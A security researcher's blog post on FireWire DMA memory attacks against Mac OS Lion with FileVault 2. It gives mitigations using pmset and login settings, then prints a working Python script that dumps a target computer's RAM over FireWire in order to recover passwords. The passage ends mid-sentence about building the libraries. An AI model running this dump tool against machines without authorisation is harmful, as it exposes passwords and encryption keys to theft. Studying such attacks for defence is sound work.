Firewire Attacks Against Mac OS Lion FileVault 2 Encryption
There is some question about the extent to which Lion and FileVault is vulnerable to Firewire DMA attacks. I performed some research (full paper is available below) and can present the following results:
Retrieving plain text passwords from RAM on Mac OS Lion (10.7) can be done under most circumstances where the system is using the default configuration. But, I want to point out that this definitely isn’t a fatal flaw in FileVault 2’s design and that it is quite easy to mitigate against these attacks. Unfortunately, Lion is not “secure by default”.
Here is a quick summary of what states are susceptible to the attack:
For a more-depth discussion of why, please see the paper (at the bottom of this post.)
Stopping the Attack
Protecting against the attack is pretty simple (assuming that FV2 is turned on,) requiring three configuration settings to be modified (Fast User Switching, and a couple of sleep options.) This will protect the system as long as it isn’t running and unlocked (in which case it is insecure anyway,) and if you haven’t logged out and left the system running (I don’t have any suggestions on that one.) Here is how …
Fast User Switching
This feature can be disabled in the System Preferences, by selecting “Users and Groups”, clicking on “Login Options”, and unselecting the “Show fast User switching menu as” check box:
Changing Sleep Options:
These settings must be changed from the command line, as the root user, using the “pmset” command. There are two relevant options:
Option
Value
Description
destroyfvkeyonstandby
1
Removes the full volume encryption key from RAM when the system is put into sleep mode and is dependent on the value of hibernatemode.
hibernatemode
25
Forces the system to immediately write RAM to disk and remove power from memory upon sleep.
For example:
sudo pmset -a destroyfvkeyonstandby 1 hibernatemode 25
Performing the Attack
libforensic1394
I used Freddie Witherden’s libforensic1394 libraries to connect over Firewire and dump the RAM into a binary file. (local copy) I couldn’t find a script that used the libraries to perform the dump, so I wrote a small Python script that uses the library. It also is capable (tested, and confirmed) of performing DMA imaging of Windows 7, and Linux 2.6 systems with Firewire.
#!/usr/bin/env python# -*- coding: utf-8 -*-## Todd Garrison, 2011 http://frameloss.org/# Simple script that creates a binary file containing the contents of another computer's RAM# Requires the libforensic1394 library: https://freddie.witherden.org/tools/libforensic1394/# """ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>."""fromforensic1394importBusfromtimeimportsleepfromsysimportargvdefusage():print""print"Usage:"printargv[0]+" <MB> <SBP-2>"print""print" MB = Size of dumpfile."print" SBP-2 = T or F (set to T for linux/win, F for Mac Lion targets)"print""print" Example dump first 128mb from a Windows Machine:"print" python "+argv[0]+" 128 T"print""returnb=Bus()d=b.devices()[0]# get optstry:mbs=int(argv[1])ifmbs<1:exit()sbp=str(argv[2])ifsbp.upper()=="T":# Use this for dumping everything *other* *than* MacOS Lionb.enable_sbp2()sleep(2.0)pageSize=d.request_sizeprint"Using "+str(pageSize)+" byte pages"elifsbp.upper()=="F":print"SBP-2 not used, forcing 2048 byte pages."pageSize=2048else:exit()except:usage()raiseexit()# Open the first deviceprintb.devices()print"Attempting to access device 0: "+b.devices()[0].vendor_name+" "+b.devices()[0].product_named=b.devices()[0]d.open()fileobj=open("ramdump.bin","wb",1024*1024*64)try:foriinrange(0,mbs*1024*1024/pageSize):# Skip the first MBfileobj.write(d.read(1024*1024+i*pageSize,pageSize))fileobj.close()print"Wrote file ramdump.bin."exceptIOError:print"Something went wrong, sorry."
Getting the libaries built is pretty simple. I tested on a Ubuntu 11.04 system, and a few libraries and programs that are needed weren’t installed by default: